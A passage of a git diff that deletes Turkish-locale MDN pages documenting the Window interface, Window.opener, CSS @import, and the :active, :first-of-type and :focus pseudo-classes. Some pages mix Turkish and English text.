{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt> - <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt> - <dd>Starts the process of fetching a resource from the network.</dd> - <dt>{{domxref("EventTarget.removeEventListener")}}</dt> - <dd>Removes an event listener from the window.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt> - <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt> - <dd>Schedules a function to execute in a given amount of time.</dd> -</dl> - -<h2 id="Event_handlers">Event handlers</h2> - -<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p> - -<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p> - -<div class="note"> -<p><strong>Note:</strong> Starting in {{Gecko("9.0")}}, you can now use the syntax <code>if ("onabort" in window)</code> to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See <a href="/en-US/docs/DOM/DOM_event_handlers">DOM event handlers</a> for details.</p> -</div> - -<dl> - <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt> - <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd> - <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt> - <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd> - <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt> - <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd> - <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt> - <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd> - <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt> - <dd>An event handler property for before-unload events on the window.</dd> - <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt> - <dd>Called after the window loses focus, such as due to a popup.</dd> - <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt> - <dd>An event handler property for change events on the window.</dd> - <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt> - <dd>Called after the ANY mouse button is pressed & released</dd> - <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt> - <dd>Called when a double click is made with ANY mouse button.</dd> - <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt> - <dd>Called after the window is closed</dd> - <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt> - <dd>Called when the RIGHT mouse button is pressed</dd> - <dt>{{domxref("Window.ondevicelight")}}</dt> - <dd>An event handler property for any ambient light levels changes</dd> - <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt> - <dd>Called if accelerometer detects a change (For mobile devices)</dd> - <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt> - <dd>Called when the orientation is changed (For mobile devices)</dd> - <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt> - <dd>An event handler property for any device orientation changes.</dd> - <dt>{{domxref("Window.ondeviceproximity")}}</dt> - <dd>An event handler property for device proximity event</dd> - <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt> - <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd> - <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt> - <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd> - <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt> - <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd> - <dt>{{domxref("Window.onappinstalled")}}</dt> - <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd> - <dt>{{domxref("Window.oninput")}}</dt> - <dd>Called when the value of an <input> element changes</dd> - <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt> - <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd> - <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt> - <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd> - <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt> - <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd> - <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt> - <dd>An event handler property for {{event("languagechange")}} events on the window.</dd> - <dt>{{domxref("GlobalEventHandlers.onload")}}</dt> - <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd> - <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt> - <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd> - <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt> - <dd>Called when ANY mouse button is pressed.</dd> - <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt> - <dd>Called continously when the mouse is moved inside the window.</dd> - <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt> - <dd>Called when the pointer leaves the window.</dd> - <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt> - <dd>Called when the pointer enters the window</dd> - <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt> - <dd>Called when ANY mouse button is released</dd> - <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd> - <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt> - <dd>Called when network connection is lost. See {{event("offline")}} event.</dd> - <dt>{{domxref("WindowEventHandlers.ononline")}}</dt> - <dd>Called when network connection is established. See {{event("online")}} event.</dd> - <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt> - <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd> - <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt> - <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd> - <dt>{{domxref("Window.onpaint")}}</dt> - <dd>An event handler property for paint events on the window.</dd> - <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Called when a back putton is pressed.</dd> - <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt> - <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd> - <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt> - <dd>Called when a form is reset</dd> - <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt> - <dd>Called continuously as you are resizing the window.</dd> - <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt> - <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd> - <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt> - <dd>Called when the mouse wheel is rotated around any axis</dd> - <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt> - <dd>Called after text in an input field is selected</dd> - <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt> - <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd> - <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt> - <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd> - <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt> - <dd>Called when a form is submitted</dd> - <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt> - <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd> - <dt>{{domxref("WindowEventHandlers.onunload")}}</dt> - <dd>Called when the user navigates away from the page.</dd> - <dt>{{domxref("Window.onuserproximity")}}</dt> - <dd>An event handler property for user proximity events.</dd> - <dt>{{domxref("Window.onvrdisplayconnected")}} {{experimental_inline}}</dt> - <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd> - <dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt> - <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd> - <dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt> - <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("onvrdisplaypresentchange")}} event fires).</dd> -</dl> - -<h2 id="Constructors">Constructors</h2> - -<p>See also the <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p> - -<dl> - <dt>{{domxref("Window.ConstantSourceNode")}}</dt> - <dd>Creates an instance of {{domxref("ConstantSourceNode")}}</dd> - <dt>{{domxref("Window.DOMParser")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.GeckoActiveXObject")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Image")}}</dt> - <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd> - <dt>{{domxref("Option")}}</dt> - <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd> - <dt>{{domxref("Window.QueryInterface")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.XMLSerializer")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Worker")}}</dt> - <dd>Used for creating a <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd> - <dt>{{domxref("Window.XPCNativeWrapper")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> -</dl> - -<h2 id="Interfaces">Interfaces</h2> - -<p>See <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a></p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li> -</ul> diff --git a/files/tr/web/api/window/opener/index.html b/files/tr/web/api/window/opener/index.html deleted file mode 100644 index 5345325459..0000000000 --- a/files/tr/web/api/window/opener/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Window.opener -slug: Web/API/Window/opener -tags: - - Pencere -translation_of: Web/API/Window/opener ---- -<div>{{APIRef("HTML DOM")}}</div> - -<p><span class="seoSummary">{{domxref("Window")}} arabiriminin <code><strong>opener</strong></code> özelliği, {{domxref("Window.open", "open()")}} kullanarak bu pencereyi açmış olan diğer pencereye bir referans döndürür.</span></p> - -<p>Başka bir deyişle, eğer <code>A</code> penceresi <code>B</code> penceresini açmışsa, <code>B.opener</code> geriye <code>A</code> döndürür.</p> - -<h2 id="Syntax" name="Syntax"><span class="tlid-translation translation" lang="tr">Sözdizimi</span></h2> - -<pre class="syntaxbox"><var>openerWindow</var> = window.opener; -</pre> - -<h3 id="Değeri">Değeri</h3> - -<p>Şimdiki pencereyi açmak için <code>open()</code> metodunu çağırmış olan pencereye referans veren bir {{domxref("Window")}} , ya da bu pencere başka bir pencere tarafından bağlantılı olarak açılmadı veya yaratılmadıysa <code>null</code> 'dır.</p> - -<p><a href="https://caniuse.com/#search=noopener">Bazı tarayıcılarda</a>, kaynak olan {{HTMLElement("a")}} öğesindeki bir <code>rel="noopener"</code> özniteliği, <code>window.opener</code> referansının ayarlanmasını engeller, bu durumda bu özellik <code>null</code> döndürür.</p> - -<h2 id="Example" name="Example">Örnek</h2> - -<pre class="brush:js">if (window.opener != indexWin) { - referToTop(window.opener); -} -</pre> - -<h2 id="Notes" name="Notes">Kullanım notları</h2> - -<p><span class="tlid-translation translation" lang="tr">Bir pencere başka bir pencereden açıldığında</span> ({{domxref("Window.open")}} metodu veya {{htmlattrxref("target", "a")}} özniteliği belirtilmiş olan bir bağlantı kullanılarak), <code><strong>window.opener</strong></code> ile bu ilk pencereye işaret eden bir referans tutar. Eğer şimdiki pencereyi açan bir pencere yoksa, bu metot<span style="line-height: 1.5;"> <code>null</code> döndürür.</span></p> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div class="hidden"><span class="tlid-translation translation" lang="tr">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir</span> . <span class="tlid-translation translation" lang="tr">Eğer bu verilere katkıda bulunmak istiyorsanız,</span> lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation" lang="tr">adresini ziyaret edin ve bize bir çekme isteği gönderin</span> .</div> - -<p>{{Compat("api.Window.opener")}}</p> diff --git a/files/tr/web/css/@import/index.html b/files/tr/web/css/@import/index.html deleted file mode 100644 index 130d0b186d..0000000000 --- a/files/tr/web/css/@import/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: '@import' -slug: Web/CSS/@import -translation_of: Web/CSS/@import ---- -<div>{{CSSRef}}</div> - -<p><a href="/tr-TR/docs/Web/CSS">CSS</a> <a href="/tr-TR/docs/Web/CSS/At-rule">@-kurallarıdan</a> olan <strong><code>@import</code></strong> diğer stil dosyalarından stil kurallarını mevcut sayfamıza dahil etmek için kullanılır. These rules must precede all other types of rules, except {{cssxref("@charset")}} rules; as it is not a <a href="/en-US/docs/Web/CSS/Syntax#nested_statements">nested statement</a>, <code>@import</code> cannot be used inside <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules">conditional group at-rules</a>.</p> - -<pre class="brush: css no-line-numbers">@import url("fineprint.css") print; -@import url("bluish.css") projection, tv; -@import 'custom.css'; -@import url("chrome://communicator/skin/"); -@import "common.css" screen, projection; -@import url('landscape.css') screen and (orientation:landscape);</pre> - -<p>So that {{glossary("user agent")}}s can avoid retrieving resources for unsupported media types, authors may specify media-dependent <code>@import</code> rules. These conditional imports specify comma-separated <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a> after the URL. In the absence of any media query, the import is unconditional. Specifying <code>all</code> for the medium has the same effect.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">@import <em>url</em>; -@import <em>url</em> <em>list-of-media-queries</em>; -</pre> - -<p>where:</p> - -<dl> - <dt style="margin: 0 40px;"><em>url</em></dt> - <dd style="margin: 0 40px;">Is a {{cssxref("<string>")}} or a {{cssxref("<url>")}} representing the location of the resource to import. The URL may be absolute or relative. Note that the URL need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g. <strong>chrome://communicator/skin/</strong>). <a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/The_Chrome_URL">See here</a> for more information.</dd> - <dt style="margin: 0 40px;"><em>list-of-media-queries</em></dt> - <dd style="margin: 0 40px;">Is a comma-separated list of <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a> conditioning the application of the CSS rules defined in the linked URL. If the browser does not support any these queries, it does not load the linked resource.</dd> -</dl> - -<h3 id="Formal_syntax">Formal syntax</h3> - -{{csssyntax}} - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}</td> - <td>{{Spec2('CSS3 Cascade')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('CSS3 Media Queries', '#media0', '@import')}}</td> - <td>{{Spec2('CSS3 Media Queries')}}</td> - <td>Extended the syntax to support any media query and not only simple <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a>.</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td>Added support for {{cssxref("<string>")}} to denote the url of a stylesheet,<br> - and requirement to insert the <code>@import</code> rule at the beginning of the CSS document.</td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#the-cascade', '@import')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>5.5</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>5.5</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/tr/web/css/_colon_active/index.html b/files/tr/web/css/_colon_active/index.html deleted file mode 100644 index fe5563e036..0000000000 --- a/files/tr/web/css/_colon_active/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ':active' -slug: 'Web/CSS/:active' -translation_of: 'Web/CSS/:active' ---- -<div>{{CSSRef}}</div> - -<p><span class="seoSummary"><strong><code>:active</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class'ı</a> kullanıcı tarafından o an kullanılan (buton gibi) elementleri temsil eder.</span> Bu seçicinin etkinliği, fare ile gezinirken, sol tuşa bastığınızda aktifleşir ve bıraktığınızda son bulur. <code>:active</code> seçicisi genellikle {{HTMLElement("a")}} ve {{HTMLElement("button")}} buton elementleri için kullanılmaktadır ancak diğer elementler için de tercih edilebilir.</p> - -<pre class="brush: css no-line-numbers">/* Aktif edilmiş bir <a> elementinin seçicisidir. */ -a:active { - color: red; -}</pre> - -<p><code>:active</code> pseudo-class'ı ({{cssxref(":link")}}, {{cssxref(":hover")}}, veya {{cssxref(":visited")}}) değerleri tanımlı ise aktif olmayacaktır. Linkleri uygun bir şekilde stillendirebilmek için, <code>:active</code> kuralını linklerle alakalı tüm kurallar arasında LVHA order olarak bilinen sırada, en sonda kullanın.<br> - <br> - <em>LVHA-order</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> - -<div class="note"><strong>Note:</strong> On systems with multi-button mice, CSS3 specifies that the <code>:active</code> pseudo-class must only apply to the primary button; on right-handed mice, this is typically the leftmost button.</div> - -<h2 id="Syntax">Syntax</h2> - -{{csssyntax}} - -<h2 id="Example" name="Example">Example</h2> - -<div id="example"> -<h3 id="HTML">HTML</h3> - -<pre class="brush: html;"><a href="#">This link will turn lime while you click on it.</a> -</pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css;">a:link { color: blue; } /* Unvisited links */ -a:visited { color: purple; } /* Visited links */ -a:hover { <span class="st">background: yellow</span>; } /* User hovers */ -a:active { color: lime; } /* Active links */</pre> -</div> - -<h3 id="Result">Result</h3> - -<div>{{EmbedLiveSample('Example')}}</div> - -<h2 id="Specifications"><span>Specifications</span></h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td> - <td>{{Spec2('CSS2.1')}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td> - <td>{{Spec2('CSS1')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("css.selectors.active")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>Link-related pseudo-classes: {{cssxref(":link")}}, {{cssxref(":visited")}}, and {{cssxref(":hover")}}</li> -</ul> diff --git a/files/tr/web/css/_colon_first-of-type/index.html b/files/tr/web/css/_colon_first-of-type/index.html deleted file mode 100644 index ad4ee056d6..0000000000 --- a/files/tr/web/css/_colon_first-of-type/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: ':first-of-type' -slug: 'Web/CSS/:first-of-type' -translation_of: 'Web/CSS/:first-of-type' ---- -<div>{{CSSRef}}</div> - -<p>The <strong><code>:first-of-type</code></strong> CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> represents the first element of its type among a group of sibling elements.</p> - -<pre class="brush: css no-line-numbers">/* Selects the first <p> to appear inside a parent element - regardless of its position inside the siblings */ -p:first-of-type { - color: red; -}</pre> - -<div class="note"> -<p><strong>Not</strong>: Orijinal tanımında seçili elemanın bir üst seçicisi (parent) olması gerekliliği vardı. Seçiciler Seviye 4'ten itibaren artık gerekmiyor.</p> -</div> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -{{csssyntax}} - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Örnek_1_Temel_ilk_paragraf">Örnek 1: Temel ilk paragraf</h3> - -<p>Aşağıdaki HTML'i baz alalım:</p> - -<pre class="brush: html"><h2>Başlık</h2> - -<p>Paragraf</p> - -<p>Paragraf</p></pre> - -<p>Ve CSS:</p> - -<pre class="brush: css">p:first-of-type { - color: red; -}</pre> - -<p>Bu bize aşağıdaki sonucu verecek — sadece body içerisinde görünecek ilk paragraf elemanı olarak görünecek ilk paragrafın rengini kırmızı yapar:</p> - -<p>{{EmbedLiveSample('Example_1_Simple_first_paragraph')}}</p> - -<h3 id="Örnek_2_Evrensel_seçici_olarak..">Örnek 2: Evrensel seçici olarak..</h3> - -<p>This example shows how the universal selector is assumed when no simple selector is written.</p> - -<p id="HTML">Önce biraz HTML:</p> - -<pre class="brush: html"><div> - <span>Bu ilk `span`!</span> - <span>Ama bu `span` değil.</span> - <span>Bu <em>element içinde `em`</em>!</span> - <span>Ve bu da <span>element içinde `span`</span>!</span> - <b>Bu `b` niteliği!</b> - <span>This final `span` does not.</span> -</div> -</pre> - -<p id="CSS">Şimdi de CSS:</p> - -<pre class="brush: css">div :first-of-type { - background-color: lime; -}</pre> - -<p id="Result">Sonuç şöyle görünecek:</p> - -<p>{{EmbedLiveSample('Example_2_Assumed_universal_selector','100%', '120')}}</p> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td> - <td>{{Spec2('CSS4 Selectors')}}</td> - <td>Matching elements are not required to have a parent.</td> - </tr> - <tr> - <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td> - <td>{{Spec2('CSS3 Selectors')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>1.0</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("1.9.1")}}</td> - <td>9.0</td> - <td>9.5</td> - <td>3.2</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>2.1</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("1.9.1")}}</td> - <td>9.0</td> - <td>10.0</td> - <td>3.2</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Şunlar_da_var">Şunlar da var</h2> - -<ul> - <li>{{Cssxref(":first-child")}}</li> - <li>{{Cssxref(":last-of-type")}}</li> - <li>{{Cssxref(":nth-of-type")}}</li> -</ul> diff --git a/files/tr/web/css/_colon_focus/index.html b/files/tr/web/css/_colon_focus/index.html deleted file mode 100644 index 05ebc35ead..0000000000 --- a/files/tr/web/css/_colon_focus/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: ':focus' -slug: 'Web/CSS/:focus' -tags: - - ':focus' - - CSS - - Layout - - Pseudo-class - - Reference - - Selector - - Web -translation_of: 'Web/CSS/:focus' ---- -<div>{{CSSRef}}</div> - -<p>The <strong><code>:focus</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a> represents an element (such as a form input) that has received focus. It is generally triggered when the user clicks or taps on an element or selects it with the keyboard's <kbd>Tab</kbd> key.</p> - -<pre class="brush: css no-line-numbers notranslate">/* Selects any <input> when focused */ -input:focus { - color: red; -}</pre> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> This pseudo-class applies only to the focused element itself. Use {{CSSxRef(":focus-within")}} if you want to select an element that <em>contains</em> a focused element.</p> -</div> - -<h2 id="Syntax">Syntax</h2> - -{{CSSSyntax}} - -<h2 id="Examples">Examples</h2> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html no-line-numbers notranslate"><input class="red-input" value="I'll be red when focused."><br> -<input class="blue-input" value="I'll be blue when focused."></pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css highlight[1, 6] notranslate">.red-input:focus { - background: yellow; - color: red; -} - -.blue-input:focus { - background: yellow; - color: blue; -}</pre> - -<h3 id="Result">Result</h3> - -<p>{{EmbedLiveSample("Examples")}}</p> - -<h2 id="Accessibility_concerns">Accessibility concerns</h2> - -<p>Make sure the visual focus indicator can be seen by people with low vision. This will also benefit anyone use a screen in a brightly lit space (like outside in the sun). <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> requires that the visual focus indicator be at least 3 to 1.</p> - -<ul> - <li>Accessible Visual Focus Indicators: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li> -</ul> - -<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3> - -<p>Never just remove the focus outline (visible focus indicator) without replacing it with a focus outline that will pass <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a>.</p> - -<ul> - <li>Quick Tip: <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Never remove CSS outlines</a></li> -</ul> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>Defines HTML-specific semantics.</td> - </tr> - <tr> - <td>{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}</td> - <td>{{Spec2("CSS4 Selectors")}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}</td> - <td>{{Spec2("CSS3 Selectors")}}</td> - <td>No change.</td> - </tr> - <tr> - <td>{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}</td> - <td>{{Spec2("CSS2.1")}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("css.selectors.focus")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li> - <li>{{CSSxRef(":focus-within")}}</li> -</ul> diff --git a/files/tr/web/css/_colon_last-child/index.html b/files/tr/web/css/_colon_last-child/index.html deleted file mode 100644 index b068bb7de8..0000000000 --- a/files/tr/web/css/_colon_last-child/index.html +++ 